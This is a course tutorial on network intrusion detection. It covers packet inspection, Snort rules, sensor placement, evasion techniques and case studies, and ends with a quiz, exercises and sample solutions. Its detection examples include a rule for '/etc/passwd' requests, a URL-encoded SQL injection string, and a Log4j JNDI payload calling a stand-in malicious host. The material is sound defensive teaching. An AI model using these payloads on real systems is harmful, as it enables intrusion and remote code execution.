Tutorial 4.5: Network-Based Intrusion Detection Systems (NIDS)

πŸ“‘ Table of Contents

🎯 Learning Objectives

After completing this tutorial, you should be able to:


πŸ“– Overview

In Tutorial 4.4, we explored Host-Based Intrusion Detection Systems (HIDS), which monitor activity on individual hosts. We now shift our focus to the network perspective: Network-Based Intrusion Detection Systems (NIDS). A NIDS monitors network traffic in real time, analyzing packets and flows to detect malicious activity, policy violations, and attacks that traverse the network.

NIDS is a cornerstone of perimeter and internal network security. It provides visibility into the communication patterns between hosts, enabling detection of network-based attacks such as port scans, denial-of-service, worm propagation, command-and-control communications, and data exfiltration attempts. While HIDS offers deep host-level visibility, NIDS offers broad, network-wide coverage, making the two complementary in a defense-in-depth strategy.

This tutorial provides a comprehensive exploration of NIDS. We will begin with an introduction to NIDS and its operational principles. We will then delve into traffic analysis, packet inspection, and Deep Packet Inspection (DPI), which examines packet payloads beyond headers. We will cover signature-based and anomaly-based detection in the NIDS context, focusing on how signatures are crafted and how protocol analysis works. We will discuss network sensors, their placement, and the different deployment architectures (passive tap, SPAN port, inline). We will also address the challenges of evasion (fragmentation, encryption, obfuscation) and how modern NIDS counter them.

We will compare NIDS with HIDS, highlighting their complementary roles. Real-world case studies will illustrate how NIDS can detect advanced attacks, such as the detection of C2 traffic and the identification of botnets. By the end of this tutorial, you will have a solid understanding of how NIDS operates and how to effectively deploy and tune it in a security monitoring architecture.

This content aligns with Stallings & Brown (2024), Chapter 8 and incorporates guidance from NIST SP 800-94 and the SANS Institute.

1. Introduction to Network-Based IDS

1.1 Definition and Purpose

A Network-Based Intrusion Detection System (NIDS) is a system that monitors network traffic for suspicious activity and alerts security personnel. It operates by capturing packets at strategic points in the network, analyzing their headers and payloads, and comparing them against known attack signatures or behavioral baselines. NIDS is a passive (or sometimes inline) system that does not interfere with traffic flow (unless it is an IPS).

1.2 Key Functions

1.3 NIDS vs. NIPS

A Network Intrusion Prevention System (NIPS) is an extension of NIDS that is deployed inline and can actively block or modify traffic to stop attacks. NIDS is passive (detect only), while NIPS is active (detect and prevent). In this tutorial, we focus on the detection capabilities, but many of the principles apply to both.

Key Takeaway: NIDS provides network-wide visibility into malicious activity, complementing host-based monitoring and enabling detection of attacks that span multiple hosts.

2. Traffic Analysis and Packet Inspection

2.1 Traffic Analysis

Traffic analysis involves examining network traffic characteristics without necessarily inspecting the packet payload. This includes:

Flow-based analysis (e.g., NetFlow, sFlow) is often used for anomaly detection and to detect DDoS attacks or data exfiltration.

2.2 Packet Inspection

Packet inspection involves examining the header and, optionally, the payload of individual packets. There are three levels:

2.3 Deep Packet Inspection (DPI)

Deep Packet Inspection is the most comprehensive form of packet inspection. It examines the entire packet, including the application layer payload, to identify the application protocol and detect content-based attacks. DPI can:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ PACKET INSPECTION LAYERS β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”‚ Application Layer (DPI) β”‚ β”‚ β”‚ β”‚ (HTTP payload, SMTP commands, file content) β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β–² β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”‚ Transport Layer (TCP/UDP headers) β”‚ β”‚ β”‚ β”‚ (ports, flags, sequence numbers) β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β–² β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”‚ Network Layer (IP headers) β”‚ β”‚ β”‚ β”‚ (source/dest IP, TTL, fragmentation) β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Figure 1: Packet Inspection Hierarchy

Key Takeaway: DPI provides the most detailed visibility, enabling detection of application-layer attacks and policy violations, but it is computationally intensive.

3. Deep Packet Inspection (DPI)

3.1 How DPI Works

DPI goes beyond simple pattern matching; it performs:

3.2 Applications of DPI

3.3 Challenges of DPI

4. Traffic Signatures and Protocol Analysis

4.1 Signature-Based Detection in NIDS

Similar to HIDS, NIDS uses signatures to detect known attacks. However, NIDS signatures are specific to network traffic patterns. A signature may include:

4.2 Example Snort Signatures

Snort is a widely used open-source NIDS. Here is an example rule that alerts on an attempt to access the web root directory using a directory traversal:

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"WEB-ATTACKS /etc/passwd access"; \ flow:to_server,established; content:"/etc/passwd"; http_uri; classtype:web-application-attack; sid:1001;)

This rule matches HTTP requests containing "/etc/passwd" in the URI.

4.3 Protocol Analysis

Protocol analysis involves verifying that traffic conforms to the specifications of the protocol being used. This can detect:

Protocol analysis is a form of specification-based detection (as discussed in Tutorial 4.3) and is very effective at detecting crafted packets that may evade signature detection.

Key Takeaway: Signatures and protocol analysis provide reliable detection for known attacks and protocol violations, but they require regular updates and can be evaded by advanced adversaries.

5. Network Sensors and Deployment

5.1 Sensor Types

5.2 Sensor Placement Strategies

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ NIDS SENSOR PLACEMENT EXAMPLE β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ β”‚ Internet β”‚ β”‚ β”‚ β”‚ β”‚ β–Ό β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β” Sensor A (outside firewall) β”‚ β”‚ β”‚Firewall β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β”‚ β”‚ β”‚ β–Ό β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β” Sensor B (DMZ) β”‚ β”‚ β”‚ DMZ β”‚ (web, mail servers) β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β”‚ β”‚ β”‚ β–Ό β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β” Sensor C (internal boundary) β”‚ β”‚ β”‚Internal β”‚ β”‚ β”‚ β”‚ Network β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ Sensor D (near critical servers) β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Figure 2: Example NIDS Sensor Placement

5.3 Performance Considerations

6. NIDS Detection Architecture

A typical NIDS deployment includes the following components:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ NIDS ARCHITECTURE β”‚ β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ β”‚ β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”‚ Management Console β”‚ β”‚ β”‚ β”‚ (Configuration, Alert Viewer, Reporting, SIEM β”‚ β”‚ β”‚ β”‚ integration, rule management) β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β–² β”‚ β”‚ β”‚ β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”‚ Sensors β”‚ β”‚ β”‚ β”‚ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ β”‚ β”‚ β”‚ β”‚ ● Packet capture (libpcap, PF_RING) β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ ● Protocol decoders β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ ● Detection engine (signature, anomaly, spec) β”‚ β”‚ β”‚ β”‚ β”‚ β”‚ ● Alerting engine β”‚ β”‚ β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β”‚ β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Figure 3: NIDS Architecture

7. Strengths and Limitations of NIDS

7.1 Strengths

7.2 Limitations

8. Evasion Techniques and Countermeasures

Attackers use various methods to avoid detection by NIDS. Common evasion techniques include:

Modern NIDS/IPS incorporate reassembly, decoding, and stateful analysis to mitigate these evasion techniques. However, advanced adversaries continue to find new ways to evade.

Key Takeaway: Evasion is a constant cat-and-mouse game; NIDS must be continuously updated with new detection logic and combined with other security layers.

9. NIDS vs. HIDS: Integration

As discussed in Tutorial 4.4, NIDS and HIDS are complementary. The table below summarizes their roles:

Aspect NIDS HIDS
Scope Network segment Individual host
Data source Network packets and flows Logs, file system, system calls, registry
Visibility Broad, but limited to network activity Deep, but limited to host
Detection examples Port scans, network-based exploits, C2 traffic Privilege escalation, fileless malware, insider data access
Encrypted traffic Limited (metadata only unless decrypted) Can inspect after decryption (if host has keys)
Deployment Sensors at network chokepoints Agents on each host
Evasion Vulnerable to fragmentation, encryption Vulnerable to rootkits

Table 1: NIDS vs. HIDS Comparison

In a comprehensive security monitoring program, NIDS and HIDS are used together. Alerts from both are correlated in a SIEM to provide a holistic view of an attack. For example, a NIDS might detect an exploit attempt, while a HIDS on the target host detects the resulting privilege escalation.

10. Real-World Case Studies

10.1 Case Study: Detection of C2 Traffic in a Financial Institution

A financial institution deployed NIDS with both signature and anomaly detection. One day, the NIDS flagged an unusual pattern of outbound DNS queries from an internal server: the queries had long, subdomain strings that looked like encoded data. This was a signature of DNS tunneling (a technique used for C2 and data exfiltration). The security team investigated and discovered that a server had been compromised and was using DNS tunneling to send data to a remote attacker. The NIDS detection enabled rapid containment.

10.2 Case Study: Evasion Attempt via Fragmentation

A penetration tester attempted to exploit a vulnerable web server by sending a buffer overflow payload split across multiple fragmented IP packets. The NIDS was configured with packet reassembly, which reconstructed the fragmented packets before signature matching. The attack was detected and logged, demonstrating the importance of stateful reassembly.

10.3 Case Study: Ransomware Detection via DPI

A healthcare organization was hit by a ransomware attack that used SMB to propagate. The NIDS had signatures for SMB-based exploits (e.g., EternalBlue). The NIDS detected the exploit attempts and alerted the security team before the ransomware spread to other hosts. The organization isolated the infected host and prevented a major incident.

Key Takeaway: NIDS provides essential network visibility, but it must be combined with HIDS and other controls to achieve comprehensive detection.

πŸ“Œ Summary

This tutorial provided a comprehensive exploration of Network-Based Intrusion Detection Systems (NIDS). We defined NIDS as a system that monitors network traffic to detect malicious activity, operating either passively or inline. We examined the key techniques: traffic analysis (flow-based), packet inspection (header and payload), and Deep Packet Inspection (DPI), which examines application-layer data for content-based threats.

We discussed how NIDS uses signatures, protocol analysis, and anomaly detection to identify attacks, with examples of Snort rules. We explored sensor types (tap, SPAN, inline) and placement strategies to maximize visibility while minimizing performance impact. We also covered the architecture of a typical NIDS, including packet capture, decoders, detection engines, and alerting.

We compared NIDS with HIDS, highlighting their complementary strengths: NIDS provides broad network coverage, while HIDS offers deep host visibility. We also discussed evasion techniques (fragmentation, encryption, obfuscation) and the countermeasures that modern NIDS employ. Real-world case studies illustrated the practical value of NIDS in detecting C2 tunnels, thwarting ransomware, and evading fragmentation attacks.

The overarching message is that NIDS is an indispensable component of a defense-in-depth strategy, providing critical visibility into network activity that complements host-based monitoring. However, NIDS is not a silver bullet; it must be properly tuned, updated, and integrated with other security controls to be effective.

Next: In Tutorial 4.6, we will build on this foundation and explore Intrusion Prevention Systems (IPS), which add active blocking capabilities to NIDS.

πŸ“ Quiz

1. What is the primary function of a Network-Based Intrusion Detection System (NIDS)?

Answer
B. Monitor network traffic and generate alerts for suspicious activity.

2. Deep Packet Inspection (DPI) differs from basic packet inspection because DPI:

Answer
B. Inspects the application-layer payload and understands protocols.

3. Which of the following is NOT a common sensor deployment mode for NIDS?

Answer
D. Agent-based is typical for HIDS, not NIDS.

4. A Snort rule that looks for the string "cmd.exe" in an HTTP request is an example of:

Answer
C. Signature-based detection.

5. What is the main limitation of NIDS when dealing with encrypted traffic?

Answer
A. It cannot inspect the payload, only metadata.

6. An attacker splits an attack payload across multiple small IP packets. This evasion technique is called:

Answer
B. Fragmentation.

7. Which NIDS component is responsible for parsing packet headers and payloads according to protocol specifications?

Answer
B. Protocol decoder.

8. Which of the following is a strength of NIDS over HIDS?

Answer
B. Provides network-wide visibility.

9. A NIDS sensor placed inside the network perimeter (after the firewall) is primarily used to:

Answer
B. Detect attacks that have already passed the firewall.

10. Protocol analysis in NIDS is a form of:

Answer
C. Specification-based detection (since it enforces protocol compliance).

11. Which of the following is a common challenge with DPI in high-speed networks?

Answer
B. High CPU and memory consumption.

12. In a comprehensive security architecture, NIDS and HIDS should be:

Answer
C. Integrated with SIEM for correlation and holistic detection.

πŸ› οΈ Exercises

Exercise 1: Signature Development Intermediate

You are tasked with writing a Snort rule to detect an attempted SQL injection attack in HTTP GET requests. The attack string is: ' OR '1'='1 (URL-encoded as %27%20OR%20%271%27%3D%271). Write a rule that matches this pattern in the URI, and discuss any potential false positives or evasion risks.

Sample Solution

Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"SQL Injection Attempt"; content:"%27%20OR%20%271%27%3D%271"; http_uri; sid:1002;)

Discussion: This rule will alert on any HTTP URI containing the encoded string. False positives may occur if the string appears in legitimate URLs (e.g., in documentation). Evasion: attackers may use different encoding or double encoding, or they may split the payload across multiple packets. To improve, use uricontent normalization and consider using a generic regex for SQL injection keywords.

Exercise 2: NIDS Placement Analysis Intermediate

Given the network diagram: Internet β†’ Firewall (with DMZ) β†’ Core Switch β†’ Internal LAN (subnets: Finance, HR, R&D). There is also a cloud VPC connected via VPN. Recommend NIDS sensor placements, justifying each. Discuss which type of sensor (tap, SPAN, inline) you would use at each location.

Sample Solution

Placement:

  • Outside firewall (or just inside): Tap (high-speed) to detect external threats.
  • DMZ: SPAN port to monitor web/mail servers.
  • Internal core switch: SPAN or tap to monitor east-west traffic between subnets.
  • VPN gateway: Tap to monitor remote access and cloud connectivity.
  • Critical server subnets (e.g., Finance): Inline IPS for active protection (if latency is acceptable).

Exercise 3: Evasion Scenario Advanced

An attacker wants to bypass a NIDS that uses signature-based detection for a known exploit. Describe three evasion techniques the attacker could use, and for each, explain how a modern NIDS can counter it.

Sample Solution
  • Fragmentation: Split the exploit payload into multiple packets. Countermeasure: Packet reassembly before inspection.
  • URL encoding/obfuscation: Use different encoding schemes (e.g., double URL encoding, hex, Unicode). Countermeasure: Normalize and decode before signature matching.
  • Encryption: Use TLS to hide the payload. Countermeasure: Perform SSL/TLS decryption (if keys available) or rely on metadata analysis and anomaly detection on encrypted traffic.

Exercise 4: DPI Policy Design Intermediate

An organization wants to use DPI to detect data exfiltration of credit card numbers (CCNs) in outbound traffic. The CCN pattern is 16 digits, typically grouped as 4-4-4-4 or in a continuous string. Describe how DPI can be configured to detect CCNs in HTTP POST requests, email, and FTP. Discuss challenges and potential false positives.

Sample Solution

Configuration: Use regular expressions to match patterns like \d{4}-\d{4}-\d{4}-\d{4} or \d{16}. Apply to outbound traffic on common ports (80, 443, 25, 21). Use protocol decoders to extract the payload fields for each protocol.

Challenges: Encrypted traffic (TLS) blocks DPI; attackers may obfuscate CCNs with spaces or text; false positives from test data or legitimate use (e.g., an employee sending their own card to a shopping site).

Exercise 5: Integrating NIDS and HIDS Advanced

Describe a multi-stage attack scenario where both NIDS and HIDS are needed to fully detect and respond. For each stage, specify which system (NIDS or HIDS) would detect it and what the alert would look like. Then, explain how a SIEM would correlate these alerts to form a coherent incident.

Sample Solution

Scenario: Attacker sends a phishing email with a malicious attachment (not detected by NIDS unless it inspects email). User opens it, and a backdoor downloads a beacon (NIDS detects the outbound C2 connection to an unknown IP). The backdoor then attempts to escalate privileges by exploiting a local vulnerability (HIDS detects the privilege escalation via system call monitoring). Then, the attacker moves laterally using SMB (NIDS detects SMB exploitation attempts). Finally, data is exfiltrated via HTTPS (NIDS detects large outbound traffic to an external IP).

Correlation: SIEM would gather alerts from NIDS (C2, SMB exploit, exfiltration) and HIDS (privilege escalation) and create a timeline. The correlation identifies the compromised host and the attack progression, enabling a coordinated response.

πŸ“š Homework

Homework 1: Research and compare three open-source NIDS/IPS solutions: Snort, Suricata, and Zeek (formerly Bro). Write a 1,500-word report comparing their architecture, detection capabilities, performance, and suitability for different use cases. Include an analysis of their support for DPI, multi-threading, and protocol decoding.

Sample Answer

Key points: Snort (single-threaded, signature-based, widely used); Suricata (multi-threaded, supports GPU, modern rule format); Zeek (scriptable, focuses on network analysis and protocol logs, not signature-heavy). Discuss performance benchmarks, ease of use, and community support.

Homework 2: Install Suricata or Snort on a virtual machine or in a lab. Configure it to monitor a network interface and generate alerts for at least three different attack types (e.g., port scan, web attack, SMB exploit). Use a tool like nmap or Metasploit to generate test traffic. Write a lab report documenting the setup, rules, test cases, and alert analysis. Include screenshots.

Sample Answer

This is a practical assignment. The report should include installation steps, configuration (e.g., rules, interfaces), traffic generation, and analysis of the alerts. Discuss tuning and any issues encountered.

Homework 3: Write a critical analysis (1,500 words) of the challenges of NIDS in cloud and containerized environments. Discuss how traditional NIDS assumptions (e.g., physical network tap, fixed IP addresses) break down, and propose solutions (e.g., virtual TAPs, agent-based network monitoring, eBPF-based sensors).

Sample Answer

Key arguments: In cloud, traffic is virtualized, and east-west traffic may not traverse a physical tap. Containers have dynamic IPs and short lifetimes. Solutions: use virtual appliances (e.g., AWS Traffic Mirroring), agent-based network monitoring on hosts, and eBPF for deep visibility without a tap.

Homework 4: Design a NIDS/IPS deployment plan for a large enterprise with multiple data centers, cloud presence, and remote sites. Include sensor placement, high availability, performance requirements, integration with SIEM, and a strategy for handling encrypted traffic. Justify your choices with reference to industry best practices.

Sample Answer

Outline: Place sensors at data center perimeters, cloud VPC boundaries, remote site VPN concentrators, and internal segment boundaries. Use high-performance appliances (e.g., with FPGA/ASIC). For encrypted traffic, use SSL decryption at the perimeter with proper policy and privacy controls. Integrate with SIEM for correlation and with SOAR for automated response.

Homework 5: Investigate a recent high-profile attack (e.g., Log4j exploitation, ProxyLogon, or a ransomware campaign) and analyze how NIDS could have been used to detect the attack. Write a case study that includes the attack details, the network signatures that could have been used, and any limitations of NIDS in that scenario. Provide recommendations for improving detection.

Sample Answer

Example: Log4j exploitation – Attackers sent crafted JNDI lookups in HTTP headers (e.g., ${jndi:ldap://malicious.com/exploit}). NIDS with DPI could have detected this pattern in headers and URIs. However, if the traffic was encrypted (HTTPS) and the organization did not decrypt, NIDS would not see the payload. Recommendations: implement TLS decryption, use application layer inspection, and deploy IPS with signatures for Log4j.


COMP400 – Computer and Network Security (Revision 3) • Unit 4: Security Systems and Models